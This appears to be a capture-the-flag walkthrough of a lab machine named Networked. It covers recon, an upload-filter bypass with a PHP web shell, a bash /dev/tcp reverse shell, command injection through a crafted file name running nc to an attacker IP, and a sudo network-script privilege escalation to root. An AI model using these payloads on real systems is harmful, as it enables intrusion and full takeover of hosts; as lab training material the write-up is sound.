Networked

Reconnaissance: NMAP

┌──(kali💀kali)-[~]
└─$ sudo nmap -sC -sV -O 10.10.10.146

22/tcp  open   ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 22:75:d7:a7:4f:81:a7:af:52:66:e5:27:44:b1:01:5b (RSA)
|   256 2d:63:28:fc:a2:99:c7:d4:35:b9:45:9a:4b:38:f9:c8 (ECDSA)
|_  256 73:cd:a0:5b:84:10:7d:a7:1c:7c:61:1d:f5:54:cf:c4 (ED25519)

80/tcp  open   http    Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).

443/tcp closed https

Aggressive OS guesses: Linux 3.10 - 4.11 (92%), Linux 5.1 (90%), Linux 3.2 - 4.9 (89%), Linux 3.13 (88%), Linux 3.13 or 4.2 (88%), Linux 4.10 (88%), Linux 4.2 (88%), Linux 4.4 (88%), Linux 3.10 (88%), Linux 3.11 - 3.12 (88%)
No exact OS matches for host (test conditions non-ideal).
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
┌──(kali💀kali)-[~]
└─$ sudo nmap -sU -O 10.10.10.146    

All 1000 scanned ports on 10.10.10.146 are in ignored states.
┌──(kali💀kali)-[~]
└─$ sudo nmap -sC -sV -p- 10.10.10.146

22/tcp  open   ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 22:75:d7:a7:4f:81:a7:af:52:66:e5:27:44:b1:01:5b (RSA)
|   256 2d:63:28:fc:a2:99:c7:d4:35:b9:45:9a:4b:38:f9:c8 (ECDSA)
|_  256 73:cd:a0:5b:84:10:7d:a7:1c:7c:61:1d:f5:54:cf:c4 (ED25519)

80/tcp  open   http    Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16

443/tcp closed https

Before we move on to enumeration, let’s make some mental notes about the scan results. We have 2 open ports:

  • Port 22: running OpenSSH 7.4

  • Port 80: running Apache httpd 2.4.6

Running CVE scan on basic ports

HTTP Port 80/tcp

80: http://10.10.10.146/

Hello mate, we're building the new FaceMash! Help by funding us and be the new Tyler&Cameron! Join us at the pool party this Sat to get a glimpse

SOURCE CODE: view-source:http://10.10.10.146/

<html>
<body>
Hello mate, we're building the new FaceMash!</br>
Help by funding us and be the new Tyler&Cameron!</br>
Join us at the pool party this Sat to get a glimpse
<!-- upload and gallery not yet linked -->
</body>
</html>

443: https://10.10.10.146/

Gobuster: Subdirectory Brute forcing

┌──(kali💀kali)-[~]
└─$ gobuster dir -u http://10.10.10.146/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 20 -x php,txt

/index.php            (Status: 200) [Size: 229]
/uploads              (Status: 301) [Size: 236] [--> http://10.10.10.146/uploads/]
/photos.php           (Status: 200) [Size: 1302]
/upload.php           (Status: 200) [Size: 169]
/lib.php              (Status: 200) [Size: 0]
/backup               (Status: 301) [Size: 235] [--> http://10.10.10.146/backup/]

Nikto: Vuln Scanning

┌──(kali💀kali)-[~]
└─$ nikto -h http://10.10.10.146/

+ Server: Apache/2.4.6 (CentOS) PHP/5.4.16
+ /: Retrieved x-powered-by header: PHP/5.4.16.
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ Apache/2.4.6 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ PHP/5.4.16 appears to be outdated (current is at least 8.1.5), PHP 7.4.28 for the 7.4 branch.
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
+ /: HTTP TRACE method is active which suggests the host is vulnerable to XST. See: https://owasp.org/www-community/attacks/Cross_Site_Tracing
+ PHP/5.4 - PHP 3/4/5 and 7.0 are End of Life products without support.
+ /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. See: OSVDB-12184
+ /?=PHPE9568F34-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. See: OSVDB-12184
+ /?=PHPE9568F35-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. See: OSVDB-12184
+ /backup/: Directory indexing found.
+ /backup/: This might be interesting.
+ /icons/: Directory indexing found.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ 8853 requests: 0 error(s) and 15 item(s) reported on remote host
+ End Time:           2024-01-09 21:11:54 (GMT-5) (3598 seconds)

There’s a comment mentioning an upload and gallery pages that have not yet been linked to the index page. We found those pages during the gobuster scan.

http://10.10.10.146/upload.php

It gives you the option of uploading files. We’ll have to test what type of files can be uploaded. The web server can run php code, so we’ll have to check if it accepts .php files. Maybe we can upload a php shell on the server.

Next, visit the photos page. It contains a bunch of images. The images that get uploaded on the upload page, are presented on this page.

http://10.10.10.146/photos.php

journal.jpg file uploaded, refresh gallery

View page source to see the link to each image. http://10.10.10.146/uploads/10_10_16_4.jpg

So not only do we have a way of uploading files on the web server, but we can also execute those files. In most cases, restrictions are put in place preventing us from uploading any file. Therefore, we’ll need to first enumerate these restrictions and then figure out a way to bypass them.

http://10.10.10.146/backup/

Next, view the backup directory. It contains a compressed file.

upload.php: Let’s view the upload.php script. It takes in the uploaded file and performs two validation checks on it.

require '/var/www/html/lib.php';
define("UPLOAD_DIR", "/var/www/html/uploads/");
$validext = array('.jpg', '.png', '.gif', '.jpeg');
// set proper permissions on the new file
chmod(UPLOAD_DIR . $name, 0644);

photos.php:

Welcome to our awesome gallery!</br>
require '/var/www/html/lib.php';
$path = '/var/www/html/uploads/';

index.php:

<html>
<body>
Hello mate, we're building the new FaceMash!</br>
Help by funding us and be the new Tyler&Cameron!</br>
Join us at the pool party this Sat to get a glimpse
<!-- upload and gallery not yet linked -->
</body>
</html>

lib.php:

It contains the source code of the php scripts running on the web server. This is great for us, because we can simply look at the php scripts in order to determine the validation that is put in place for uploading files.

Shell as apache

Let’s describe the second validation check first. It takes in an array of allowed file extensions and checks if the uploaded file contains that extension. The check is being performed using the substr_compare() function. This is a function that is used to compare two strings.

substr_compare ( string $main_str , string $str , int $offset)

It requires at least three parameters:

  1. $main_str: the main string being compared.

  2. $str: the secondary string being compared.

  3. $offset: the start position for the comparison. If negative, it starts counting from the end of the string.

The following is an example:

substr_compare ( test.png , .png, -4)

Since the offset in the above example is negative, it starts at the end of the string “test.png” and checks every character with the characters in the string “.png” (4 characters). In this case the test would pass and the function outputs a zero. This is exactly what the upload script is doing. Therefore, in order to bypass that, all we have to do is upload a file with a valid extension at the end. For example: test.php.png.

Let’s move on to the first validation check. The script calls the check_file_type() function from the lib.php file. This in turn calls the file_mime_type() function to determine the mime type of the file. Then the mime type is checked to see if it contains the string ‘image/’ in it.

function check_file_type($file) {
  $mime_type = file_mime_type($file);
  if (strpos($mime_type, 'image/') === 0) {
      return true;
  } else {
      return false;
  }  
}

This can be easily bypassed because we can simply include what is known as magic bytes in our file in order to trick the script into thinking the file is an image. This can be be done by adding the string “GIF87a” to the file.

Alright, we know how to bypass both validation checks, so we’re ready to run our exploit. Create a file called test.php.png and add the the following code to it.

┌──(kali💀kali)-[~/Desktop]
└─$ nano test.php.png
GIF87a                                                                                                                                                                         
<?php system($_GET['cmd']); ?>

The first line tricks the application into thinking it is an image and the second line adds a parameter to the get request called cmd. Upload the file and intercept the request in Burp.

We can see that our image has been uploaded. Right click and select View Image. This executes our code. Next, add the cmd parameter to the URL and run the whoami command.

We have code execution! Now, let’s get a reverse shell. First, set up a listener on the attack machine.

┌──(kali💀kali)-[~/Desktop]
└─$ nc -nlvp 5555

Then run the whoami request again and send it to Repeater. You will have to disable the “File extension” in Proxy > Options > Intercept Client Requests in order to intercept the request.

Next, visit pentestmonkey and add the bash reverse shell in the ‘cmd’ parameter https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

bash -c 'bash -i >& /dev/tcp/10.10.16.4/1234 0>&1'

We get a shell! Let’s upgrade it to a better shell.

sh-4.2$ python -c 'import pty; pty.spawn("/bin/bash")'

bash-4.2$ whoami
apache

bash-4.2$ cat user.txt
cat: user.txt: Permission denied

Privesc to guly

The user.txt flag is in the home directory of the user guly. So we’ll either have to escalate our privileges to guly or root.

I ran the LinEnum.sh and pspy64 programs but didn’t find anything unusual. I did notice that in the home directory of guly there’s a php script and a crontab file. We have read permission on both of them.

bash-4.2$ ls -la
total 28
drwxr-xr-x. 2 guly guly 4096 Sep  6  2022 .
drwxr-xr-x. 3 root root   18 Jul  2  2019 ..
lrwxrwxrwx. 1 root root    9 Sep  7  2022 .bash_history -> /dev/null
-rw-r--r--. 1 guly guly   18 Oct 30  2018 .bash_logout
-rw-r--r--. 1 guly guly  193 Oct 30  2018 .bash_profile
-rw-r--r--. 1 guly guly  231 Oct 30  2018 .bashrc
-r--r--r--. 1 root root  782 Oct 30  2018 check_attack.php
-rw-r--r--  1 root root   44 Oct 30  2018 crontab.guly
-r--------. 1 guly guly   33 Jan 10 01:53 user.txt

View the content of crontab.guly.

bash-4.2$ cat crontab.guly 
*/3 * * * * php /home/guly/check_attack.php

It’s running the file check_attack.php script every 3 minutes. If you’re not familiar with the crontab format, refer to the following

Let’s view the check_attack.php file.

bash-4.2$ cat check_attack.php
<?php
require '/var/www/html/lib.php';
$path = '/var/www/html/uploads/';
$logpath = '/tmp/attack.log';
$to = 'guly';
$msg= '';
$headers = "X-Mailer: check_attack.php\r\n";

$files = array();
$files = preg_grep('/^([^.])/', scandir($path));

foreach ($files as $key => $value) {
        $msg='';
  if ($value == 'index.html') {
        continue;
  }
  #echo "-------------\n";

  #print "check: $value\n";
  list ($name,$ext) = getnameCheck($value);
  $check = check_ip($name,$value);

  if (!($check[0])) {
    echo "attack!\n";
    # todo: attach file
    file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX);

    exec("rm -f $logpath");
    exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
    echo "rm -f $path$value\n";
    mail($to, $msg, $msg, $headers, "-F$value");
  }
}

?>

The script is taking in all the files in the /var/www/html/uploads directory and running the getnameCheck() and check_ip() functions on it from the lib.php file.

function getnameCheck($filename) {
  $pieces = explode('.',$filename);
  $name= array_shift($pieces);
  $name = str_replace('_','.',$name);
  $ext = implode('.',$pieces);
  #echo "name $name - ext $ext\n";
  return array($name,$ext);
}function check_ip($prefix,$filename) {
  //echo "prefix: $prefix - fname: $filename<br>\n";
  $ret = true;
  if (!(filter_var($prefix, FILTER_VALIDATE_IP))) {
    $ret = false;
    $msg = "4tt4ck on file ".$filename.": prefix is not a valid ip ";
  } else {
    $msg = $filename;
  }
  return array($ret,$msg);
}

The getnameCheck() function simply separates the name of the file from the extension of the file. The check_ip() function checks if the filename is a valid IP address. If it is not, it will return false which will trigger the attack component in the check_attack.php file.

if (!($check[0])) {
    echo "attack!\n";
    # todo: attach file
    file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX);exec("rm -f $logpath");
    exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
    echo "rm -f $path$value\n";
    mail($to, $msg, $msg, $headers, "-F$value");
  }

This passes the path of the file to the exec() function and deletes it. Of course, no validation is being done on the input of the exec() function and so we can abuse it to escalate privileges.

Change to the /var/www/html/uploads directory and create the following file.

bash-4.2$ cd /var/www/html/uploads
bash-4.2$ touch '; nc -c bash 10.10.16.4 5555'

The “;” will end the “rm” command in the exec() function and run the nc command, which will send a reverse shell back to our machine. Set up a listener to receive the reverse shell.

┌──(kali💀kali)-[~/Desktop]
└─$ nc -nlvp 5555
listening on [any] 5555 ...
connect to [10.10.16.4] from (UNKNOWN) [10.10.10.146] 51530

cat user.txt
b90edf------------------------

Wait for the cron job to run and we get a shell! Convert the shell to a fully interactive shell and grab the user.txt flag.

python -c 'import pty; pty.spawn("/bin/bash")'
[guly@networked ~]$ 

[guly@networked ~]$ whoami
guly

[guly@networked ~]$ id
uid=1000(guly) gid=1000(guly) groups=1000(guly)

[guly@networked ~]$ cat /root/root.txt
cat: /root/root.txt: Permission denied

Privesc to root

We need to escalate our privileges to root. I downloaded the LinEnum script and ran it. It looks like we can run the following file as root without a password.

sudo -l (one of the first things I check on any Linux hosts) shows me that guly can run a shell script as root without a password:

[guly@networked ~]$ sudo -l
Matching Defaults entries for guly on networked:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin,
    env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",
    env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
    env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES",
    env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE",
    env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
    secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User guly may run the following commands on networked:
    (root) NOPASSWD: /usr/local/sbin/changename.sh
[guly@networked sbin]$ ls -la /usr/local/sbin | grep changename.sh
-rwxr-xr-x   1 root root  422 Jul  8  2019 changename.sh

We only have read and execute permissions on the file. Let’s view the content of the file.

[guly@networked ~]$ cd /usr/local/sbin/

[guly@networked sbin]$ cat changename.sh
#!/bin/bash -p
cat > /etc/sysconfig/network-scripts/ifcfg-guly << EoF
DEVICE=guly0
ONBOOT=no
NM_CONTROLLED=no
EoF

regexp="^[a-zA-Z0-9_\ /-]+$"

for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do
        echo "interface $var:"
        read x
        while [[ ! $x =~ $regexp ]]; do
                echo "wrong input, try again"
                echo "interface $var:"
                read x
        done
        echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly
done
  
/sbin/ifup guly0

It takes in the content of the file ifcfg-guly and does a simple regex check on the input. Let’s view the permissions on that file:

[guly@networked sbin]$ ls -la /etc/sysconfig/network-scripts/ | grep ifcfg-guly
-rw-r--r--  1 root root   114 Jul  8  2019 ifcfg-guly

We can only read it. Let’s view the file:

[guly@networked sbin]$ cat /etc/sysconfig/network-scripts/ifcfg-guly
DEVICE=guly0
ONBOOT=no
NM_CONTROLLED=no
NAME=ps /tmp/foo
PROXY_METHOD=asodih
BROWSER_ONLY=asdoih
BOOTPROTO=asdoih

The NAME is assigned a system command, so we can probably use this to escalate privileges. After a bit of googling, I found this bug report that states that incorrect whitespace filtering on the NAME attribute leads to code execution. Since we can run the changename.sh script with sudo privileges, it will prompt us to enter the NAME value and since it’s not properly validated, we can get a shell with root privileges!

[guly@networked sbin]$ sudo /usr/local/sbin/changename.sh 
interface NAME:
random bash
interface PROXY_METHOD:
random
interface BROWSER_ONLY:
random
interface BOOTPROTO:
random

[root@networked network-scripts]# cat /root/root.txt
cat /root/root.txt
a54fc5--------------------------

Last updated